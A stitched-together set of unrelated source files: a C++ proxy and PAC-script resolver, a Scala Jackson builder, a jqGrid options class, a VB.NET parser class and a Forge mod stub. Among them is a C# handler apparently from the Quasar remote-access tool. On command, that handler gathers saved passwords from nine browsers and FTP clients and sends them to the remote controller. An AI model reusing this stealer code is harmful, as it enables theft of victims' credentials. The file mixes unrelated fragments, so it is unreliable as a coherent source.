        if (autoDetectProxy(uri, "", proxyList)) {
            return proxyList;
        }
    }

    if (!settings.pacScript.empty()) {
        std::vector<URI> proxyList;
        if (autoDetectProxy(uri, settings.pacScript, proxyList)) {
            return proxyList;
        }
    }

    return proxyFromList(uri, settings.proxy, settings.bypassList);
}

#elif defined(OSX)

ProxyCache::ProxyCache(RequestBroker::ptr requestBroker)
    : m_requestBroker(requestBroker),
      m_pacThreadCancelled(false)
{
    m_dynamicStore = SCDynamicStoreCreate(NULL, NULL, NULL, NULL);
}

ProxyCache::~ProxyCache()
{
    // Shut down the PAC worker thread
    {
        boost::mutex::scoped_lock lk(m_pacMut);
        m_pacThreadCancelled = true;
    }
    m_pacCond.notify_one();
    m_pacThread.join();
}

std::vector<URI> ProxyCache::proxyFromCFArray(CFArrayRef proxies, ScopedCFRef<CFURLRef> targeturl,
    RequestBroker::ptr requestBroker,
    std::map<URI, ScopedCFRef<CFStringRef> > &cachedScripts)
{
    std::vector<URI> result;
    for (CFIndex i = 0; i < CFArrayGetCount(proxies); ++i) {
        CFDictionaryRef thisProxy =
            (CFDictionaryRef)CFArrayGetValueAtIndex(proxies, i);
        CFStringRef proxyType = (CFStringRef)CFDictionaryGetValue(thisProxy,
            kCFProxyTypeKey);
        if (!proxyType || CFGetTypeID(proxyType) != CFStringGetTypeID())
            continue;
        URI thisProxyUri;
        if (CFEqual(proxyType, kCFProxyTypeNone)) {
            result.push_back(URI());
        } else if (CFEqual(proxyType, kCFProxyTypeAutoConfigurationURL)) {
            CFURLRef cfurl = (CFURLRef)CFDictionaryGetValue(thisProxy,
                kCFProxyAutoConfigurationURLKey);
            if (!cfurl || CFGetTypeID(cfurl) != CFURLGetTypeID())
                continue;
            std::vector<URI> pacProxies = proxyFromPacScript(cfurl, targeturl,
                requestBroker, cachedScripts);
            result.insert(result.end(), pacProxies.begin(), pacProxies.end());
        } else if (CFEqual(proxyType, kCFProxyTypeHTTP)) {
            thisProxyUri.scheme("http");
        } else if (CFEqual(proxyType, kCFProxyTypeHTTPS)) {
            thisProxyUri.scheme("https");
        } else if (CFEqual(proxyType, kCFProxyTypeSOCKS)) {
            thisProxyUri.scheme("socks");
        }
        if (thisProxyUri.schemeDefined()) {
            CFStringRef proxyHost = (CFStringRef)CFDictionaryGetValue(
                thisProxy, kCFProxyHostNameKey);
            if (!proxyHost || CFGetTypeID(proxyHost) != CFStringGetTypeID())
                continue;
            CFNumberRef proxyPort = (CFNumberRef)CFDictionaryGetValue(
                thisProxy, kCFProxyPortNumberKey);
            int port = -1;
            if (proxyPort && CFGetTypeID(proxyPort) == CFNumberGetTypeID())
                CFNumberGetValue(proxyPort, kCFNumberIntType, &port);
            thisProxyUri.authority.host(toUtf8(proxyHost));
            if (port != -1)
                thisProxyUri.authority.port(port);
            result.push_back(thisProxyUri);
        }
    }
    return result;
}

// Worker thread that handles PAC evaluation. This has to be done in a
// separate, fiber-free thread or the underlying JavaScript VM used in
// CFNetworkCopyProxiesForAutoConfigurationScript will crash trying to
// perform garbage collection.
void ProxyCache::runPacWorker()
{
    while(true) {
        boost::mutex::scoped_lock lk(m_pacMut);

        while(m_pacQueue.empty() && !m_pacThreadCancelled)
            m_pacCond.wait(lk);

        if(m_pacThreadCancelled)
            return;

        while(!m_pacQueue.empty()) {
            struct PacMessage *msg = m_pacQueue.front();
            m_pacQueue.pop();

            lk.unlock();

            CFErrorRef error;
            ScopedCFRef<CFArrayRef> proxies =
                CFNetworkCopyProxiesForAutoConfigurationScript(
                    msg->pacScript, msg->targeturl, &error);

            lk.lock();

            msg->result = proxies;
            msg->processed = true;
        }
    }
}

std::vector<URI> ProxyCache::proxyFromPacScript(CFURLRef cfurl, ScopedCFRef<CFURLRef> targeturl,
    RequestBroker::ptr requestBroker,
    std::map<URI, ScopedCFRef<CFStringRef> > &cachedScripts)
{
    std::vector<URI> result;
    CFStringRef string = CFURLGetString(cfurl);
    URI uri;
    try {
        uri = toUtf8(string);
    } catch (std::invalid_argument &) {
        return result;
    }
    if (!uri.schemeDefined())
        return result;
    if (uri.scheme() != "http" && uri.scheme() != "https" &&
        uri.scheme() != "file")
        return result;

    try {
        ScopedCFRef<CFStringRef> pacScript;
        std::map<URI, ScopedCFRef<CFStringRef> >::iterator it =
            cachedScripts.find(uri);
        if (it != cachedScripts.end()) {
            pacScript = it->second;
        } else {
            Stream::ptr pacStream;
            MemoryStream localStream;
            if (uri.scheme() == "file") {
                if (uri.authority.hostDefined() &&
                    uri.authority.host() != "localhost" &&
                    !uri.authority.host().empty())
                    return result;
                std::ostringstream os;
                for (std::vector<std::string>::const_iterator it = uri.path.segments.begin();
                    it != uri.path.segments.end();
                    ++it)
                    os << '/' << *it;
                pacStream.reset(new FileStream(os.str(), FileStream::READ));
            } else {
                pacStream.reset(new HTTPStream(uri, requestBroker));
            }
            pacStream.reset(new LimitedStream(pacStream, 1024 * 1024 + 1));
            if (transferStream(pacStream, localStream) >= 1024u * 1024u)
                return result;
            std::string localBuffer;
            localBuffer.resize((size_t)localStream.size());
            localStream.buffer().copyOut(&localBuffer[0], localBuffer.size());
            pacScript = CFStringCreateWithBytes(NULL,
                (const UInt8*)localBuffer.c_str(), localBuffer.size(),
                kCFStringEncodingUTF8, true);
            cachedScripts[uri] = pacScript;
        }

        // Start the PAC worker thread if not already running
        // by checking to see if the thread is "Not-a-Thread"
        if(boost::thread::id() == m_pacThread.get_id()) {
            m_pacThread = boost::thread(&ProxyCache::runPacWorker, this);
            MORDOR_LOG_DEBUG(proxyLog) << "PAC worker thread id : " << m_pacThread.get_id();
        }

        // Evaluate the PAC in the fiber-free worker thread so that
        // we don't crash due to the JavaScript VM's garbage collection.
        struct PacMessage msg;
        {
            boost::mutex::scoped_lock lk(m_pacMut);
            msg.pacScript = pacScript;
            msg.targeturl = targeturl;
            msg.result = NULL;
            msg.processed = false;
            m_pacQueue.push(&msg);
        }

        // Notify the worker thread that there is a new message in the queue
        m_pacCond.notify_one();

        // Wake up periodically to see if our PAC message has been processed
        while(true) {
            boost::mutex::scoped_lock lk(m_pacMut);
            if(msg.processed)
                break;
            lk.unlock();
            Mordor::sleep(1000);
        }

        if(!msg.result)
            return result;
        return proxyFromCFArray(msg.result, targeturl, requestBroker, cachedScripts);
    } catch (...) {
        return result;
    }
}

std::vector<URI>
ProxyCache::proxyFromSystemConfiguration(const URI &uri)
{
    std::vector<URI> result;

    std::string uristring = uri.toString();
    ScopedCFRef<CFURLRef> cfurl = CFURLCreateWithBytes(NULL,
        (const UInt8 *)uristring.c_str(),
        uristring.size(), kCFStringEncodingUTF8, NULL);
    if (!cfurl)
        return result;

    ScopedCFRef<CFDictionaryRef> proxySettings =
        SCDynamicStoreCopyProxies(m_dynamicStore);
    if (!proxySettings)
        return result;
    ScopedCFRef<CFArrayRef> proxies = CFNetworkCopyProxiesForURL(cfurl,
        proxySettings);
    if (!proxies)
        return result;
    return proxyFromCFArray(proxies, cfurl, m_requestBroker,
        m_cachedScripts);
}
#endif

boost::shared_ptr<Stream>
tunnel(RequestBroker::ptr requestBroker, const URI &proxy, const URI &target)
{
    MORDOR_ASSERT(proxy.schemeDefined());

    std::ostringstream os;
    if (!target.authority.hostDefined())
        MORDOR_THROW_EXCEPTION(std::invalid_argument("No host defined"));
    os << target.authority.host() << ':';
    if (target.authority.portDefined())
        os << target.authority.port();
    else if (target.scheme() == "http")
        os << "80";
    else if (target.scheme() == "https")
        os << "443";
    else
        // TODO: can this be looked up using the system? (getaddrinfo)
        MORDOR_THROW_EXCEPTION(std::invalid_argument("Unknown protocol for proxying connection"));
    Request requestHeaders;
    requestHeaders.requestLine.method = CONNECT;
    URI &requestUri = requestHeaders.requestLine.uri;
    requestUri.scheme("http");
    requestUri.authority = proxy.authority;
    requestUri.path.segments.push_back(std::string());
    requestUri.path.segments.push_back(os.str());
    requestHeaders.request.host = os.str();
    requestHeaders.general.connection.insert("Proxy-Connection");
    requestHeaders.general.proxyConnection.insert("Keep-Alive");
    ClientRequest::ptr request = requestBroker->request(requestHeaders);
    if (request->response().status.status == HTTP::OK)
        return request->stream();
    else
        MORDOR_THROW_EXCEPTION(InvalidResponseException("Proxy connection failed",
            request));
}

// Returns true if the given address matches the given bypass list entry.
bool isMatch(const URI& uri, const std::string& pattern)
{
    MORDOR_ASSERT(uri.schemeDefined());
    MORDOR_ASSERT(uri.authority.hostDefined());

    if (pattern.empty()) {
        return false;
    }

    // There is no standard describing what a valid bypass list entry looks
    // like, and slightly different formats are used by different operating
    // systems and applications.
    //
    // This function accepts entries in the following format:
    //
    //     entry = [scheme "://"] address [":" port];
    //     scheme = { alnum } ;
    //     address = { alnum "." } "*" { "." alnum } ;
    //     port = { digit }
    //
    // A wildcard character in the address matches any number of characters.
    // List entries with multiple wildcards are not supported. Note that this
    // function also doesn't support CIDR-style IP address ranges, which are
    // supported by some browsers and operating systems.
    boost::regex e("(?:([a-zA-Z]+)://)?(.*?)(?::(\\d+))?");
    boost::smatch m;
    if (!boost::regex_match(pattern, m, e)) {
        MORDOR_LOG_DEBUG(proxyLog) << "Invalid rule \"" << pattern << "\".";
        return false;
    }

    std::string patternScheme = m[1].str();
    std::string patternAddress = m[2].str();

    int patternPort = 0;
    try {
        if (m[3].matched) {
            patternPort = boost::lexical_cast<int>(m[3].str());
        }
    } catch(boost::bad_lexical_cast&) {
        MORDOR_LOG_DEBUG(proxyLog) << "Invalid rule \"" << pattern << "\".";
        return false;
    }

    // If a scheme is present in the rule, it must match the sheme in the
    // URI. If the rule doesn't specify a scheme, we consider it to match
    // all schemes.
    //
    // XXX Like all string comparisons, this is fraught with peril. We assume
    // that the provided strings are utf-8 encoded, and already normalized.
    //
    // XXX We also should not be using stricmp here, since it will not work on
    // multibyte characters.
    if (!patternScheme.empty() && compare(patternScheme, uri.scheme())) {
        // Scheme doesn't match.
        return false;
    }

    // As a special case, if the pattern is "<local>" and the address is a
    // hostname that doesn't contain any '.' characters, then we consider this
    // to be a match. This is for compatability with IE on Windows.
    std::string address = uri.authority.host();
    if (patternAddress == "<local>" && std::string::npos == address.find('.')) {
        return true;
    }

    boost::replace_all(patternAddress, ".", "\\.");
    boost::replace_all(patternAddress, "*", ".*");
    boost::regex hostRegex(patternAddress, boost::regex::perl | boost::regex::icase);
    if (!boost::regex_match(address, hostRegex)) {
        // Address doesn't match.
        return false;
    }

    if (0 != patternPort && patternPort != uri.authority.port()) {
        // Port doesn't match.
        return false;
    }

    return true;
}

int compare(const std::string& s1, const std::string& s2)
{
    return stricmp(s1.c_str(), s2.c_str());
}

#ifdef WINDOWS
std::ostream& operator<<(std::ostream& s, const WINHTTP_PROXY_INFO& info)
{
    std::string proxy = info.lpszProxy ? toUtf8(info.lpszProxy) : "(null)";
    std::string bypass = info.lpszProxyBypass ? toUtf8(info.lpszProxyBypass)
        : "(null)";
    s << "Access Type: " << info.dwAccessType << std::endl
      << "Proxy: " << proxy << std::endl
      << "Proxy Bypass: " << bypass << std::endl;
    return s;
}
#endif

} // namespace HTTP
} // namespace Mordor


text:
using Quasar.Client.Recovery;
using Quasar.Client.Recovery.Browsers;
using Quasar.Client.Recovery.FtpClients;
using Quasar.Common.Messages;
using Quasar.Common.Models;
using Quasar.Common.Networking;
using System;
using System.Collections.Generic;
using System.Diagnostics;

namespace Quasar.Client.Messages
{
    public class PasswordRecoveryHandler : IMessageProcessor
    {
        public bool CanExecute(IMessage message) => message is GetPasswords;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case GetPasswords msg:
                    Execute(sender, msg);
                    break;
            }
        }

        private void Execute(ISender client, GetPasswords message)
        {
            List<RecoveredAccount> recovered = new List<RecoveredAccount>();

            var passReaders = new IAccountReader[]
            {
                new BravePassReader(),
                new ChromePassReader(),
                new OperaPassReader(),
                new OperaGXPassReader(),
                new EdgePassReader(),
                new YandexPassReader(),
                new FirefoxPassReader(),
                new InternetExplorerPassReader(),
                new FileZillaPassReader(),
                new WinScpPassReader()
            };

            foreach (var passReader in passReaders)
            {
                try
                {
                    recovered.AddRange(passReader.ReadAccounts());
                }
                catch (Exception e)
                {
                    Debug.WriteLine(e);
                }
            }

            client.Send(new GetPasswordsResponse { RecoveredAccounts = recovered });
        }
    }
}


text:
package de.leanovate.swaggercheck.schema.jackson

import com.fasterxml.jackson.annotation.{JsonCreator, JsonProperty}
import com.fasterxml.jackson.databind.annotation.JsonDeserialize
import de.leanovate.swaggercheck.schema.model._

@JsonDeserialize(builder = classOf[ParameterBuilder])
trait ParameterMixin {

}

class ParameterBuilder @JsonCreator()(
                                       @JsonProperty("name") name: String,
                                       @JsonProperty("in") in: String,
                                       @JsonProperty("required") required: Option[Boolean] = None,
                                       @JsonProperty("type") schemaType: Option[String] = None,
                                       @JsonProperty("schema") schema: Option[Definition] = None,
                                       @JsonProperty("format") format: Option[String] = None,
                                       @JsonProperty("allowEmptyValue") allowEmptyValue: Option[Boolean] = None,
                                       @JsonProperty("items") items: Option[Definition] = None,
                                       @JsonProperty("maximum") maximum: Option[BigDecimal] = None,
                                       @JsonProperty("exclusiveMaximum") exclusiveMaximum: Option[Boolean] = None,
                                       @JsonProperty("minimum") minimum: Option[BigDecimal] = None,
                                       @JsonProperty("exclusiveMinimum") exclusiveMinimum: Option[Boolean] = None,
                                       @JsonProperty("maxLength") maxLength: Option[Int] = None,
                                       @JsonProperty("minLength") minLength: Option[Int] = None,
                                       @JsonProperty("pattern") pattern: Option[String] = None,
                                       @JsonProperty("maxItems") maxItems: Option[Int] = None,
                                       @JsonProperty("minItems") minItems: Option[Int] = None,
                                       @JsonProperty("uniqueItems") uniqueItems: Option[Boolean] = None,
                                       @JsonProperty("enum") enum: Option[List[String]] = None) {

  def build(): Parameter = {
    Parameter.build(
      name,
      in,
      required,
      schema,
      schemaType,
      format,
      allowEmptyValue,
      items,
      maximum,
      exclusiveMaximum,
      minimum,
      exclusiveMinimum,
      maxLength,
      minLength,
      pattern,
      maxItems,
      minItems,
      uniqueItems,
      enum
    )
  }
}


text:
using Lib.AspNetCore.Mvc.JqGrid.Infrastructure.Constants;

namespace Lib.AspNetCore.Mvc.JqGrid.Infrastructure.Options
{
    /// <summary>
    /// Class which represents names for jqGrid request parameters.
    /// </summary>
    public sealed class JqGridParametersNames
    {
        #region Properties
        /// <summary>
        /// Gets or sets the name for page index parametr.
        /// </summary>
        public string PageIndex { get; set; }

        /// <summary>
        /// Gets or sets the name for records count parametr.
        /// </summary>
        public string RecordsCount { get; set; }

        /// <summary>
        /// Gets or sets the name for sorting name parametr.
        /// </summary>
        public string SortingName { get; set; }

        /// <summary>
        /// Gets or sets the name for sorting order parametr.
        /// </summary>
        public string SortingOrder { get; set; }

        /// <summary>
        /// Gets or sets the name for searching parametr.
        /// </summary>
        public string Searching { get; set; }

        /// <summary>
        /// Gets or sets the name for id parametr.
        /// </summary>
        public string Id { get; set; }

        /// <summary>
        /// Gets or sets the name for operator parametr.
        /// </summary>
        public string Operator { get; set; }

        /// <summary>
        /// Gets or sets the name for edit operator parametr.
        /// </summary>
        public string EditOperator { get; set; }

        /// <summary>
        /// Gets or sets the name for add operator parametr.
        /// </summary>
        public string AddOperator { get; set; }

        /// <summary>
        /// Gets or sets the name for delete operator parametr.
        /// </summary>
        public string DeleteOperator { get; set; }

        /// <summary>
        /// Gets or sets the name for subgrid id parametr.
        /// </summary>
        public string SubgridId { get; set; }

        /// <summary>
        /// Gets or sets the name for pages count parametr.
        /// </summary>
        public string PagesCount { get; set; }

        /// <summary>
        /// Gets or sets the name for total rows parametr.
        /// </summary>
        public string TotalRows { get; set; }
        #endregion

        #region Constructor
        /// <summary>
        /// Initializes a new instance of the JqGridParametersNames class.
        /// </summary>
        public JqGridParametersNames()
        {
            PageIndex = JqGridOptionsDefaults.Request.PageIndex;
            RecordsCount = JqGridOptionsDefaults.Request.RecordsCount;
            SortingName = JqGridOptionsDefaults.Request.SortingName;
            SortingOrder = JqGridOptionsDefaults.Request.SortingOrder;
            Searching = JqGridOptionsDefaults.Request.Searching;
            Id = JqGridOptionsDefaults.Request.Id;
            Operator = JqGridOptionsDefaults.Request.Operator;
            EditOperator = JqGridOptionsDefaults.Request.EditOperator;
            AddOperator = JqGridOptionsDefaults.Request.AddOperator;
            DeleteOperator = JqGridOptionsDefaults.Request.DeleteOperator;
            SubgridId = JqGridOptionsDefaults.Request.SubgridId;
            PagesCount = null;
            TotalRows = JqGridOptionsDefaults.Request.TotalRows;
        }
        #endregion
    }
}


text:
using System;
using System.Collections.Generic;
using System.Text;
//
// Visual Basic .NET Parser
//
// Copyright (C) 2005, Microsoft Corporation. All rights reserved.
//
// THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
// EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF
// MERCHANTIBILITY AND/OR FITNESS FOR A PARTICULAR PURPOSE.
//
namespace VBConverter.CodeParser.Context
{
	/// <summary>
	/// A line mapping from a source span to an external file and line.
	/// </summary>
	public sealed class ExternalLineMapping
	{
		private readonly Location _Start;
		private readonly Location _Finish;
		private readonly string _File;
		private readonly long _Line;

		/// <summary>
		/// The start location of the mapping in the source.
		/// </summary>
		public Location Start {
			get { return _Start; }
		}

		/// <summary>
		/// The end location of the mapping in the source.
		/// </summary>
		public Location Finish {
			get { return _Finish; }
		}

		/// <summary>
		/// The external file the source maps to.
		/// </summary>
		public string File {
			get { return _File; }
		}

		/// <summary>
		/// The external line number the source maps to.
		/// </summary>
		public long Line {
			get { return _Line; }
		}

		/// <summary>
		/// Constructs a new external line mapping.
		/// </summary>
		/// <param name="start">The start location in the source.</param>
		/// <param name="finish">The end location in the source.</param>
		/// <param name="file">The name of the external file.</param>
		/// <param name="line">The line number in the external file.</param>
		public ExternalLineMapping(Location start, Location finish, string file, long line)
		{
			_Start = start;
			_Finish = finish;
			_File = file;
			_Line = line;
		}
	}
}


text:
package com.collinbaker.collin_forge_test;

import com.collinbaker.collin_forge_test.proxy.IProxy;
import cpw.mods.fml.common.Mod;
import cpw.mods.fml.common.SidedProxy;
import cpw.mods.fml.common.event.FMLInitializationEvent;
import cpw.mods.fml.common.event.FMLPostInitializationEvent;
import cpw.mods.fml.common.event.FMLPreInitializationEvent;

/**
 * Created by Collin on 5/13/2015.
 */

@Mod(
    modid = ForgeTest.MOD_ID,
    name = ForgeTest.MOD_NAME,
    version = ForgeTest.VERSION
)
public class ForgeTest
{
    public static final String MOD_ID = "forge-test";
    public static final String MOD_NAME = "Forge Test";
    public static final String VERSION = "0.1";

    @Mod.Instance(MOD_ID)
    public static ForgeTest instance;

    @SidedProxy(
               clientSide = "com.collinbaker.collin_forge_test.ClientProxy",
               serverSide = "com.collinbaker.collin_forge_test.ServerProxy"
    )
    public static IProxy proxy;

    @Mod.EventHandler
    public void preInit(FMLPreInitializationEvent e)
    {

    }

    @Mod.EventHandler
    public void init(FMLInitializationEvent e)
    {

    }

    @Mod.EventHandler
    public void postInit(FMLPostInitializationEvent e)
    {

    }
}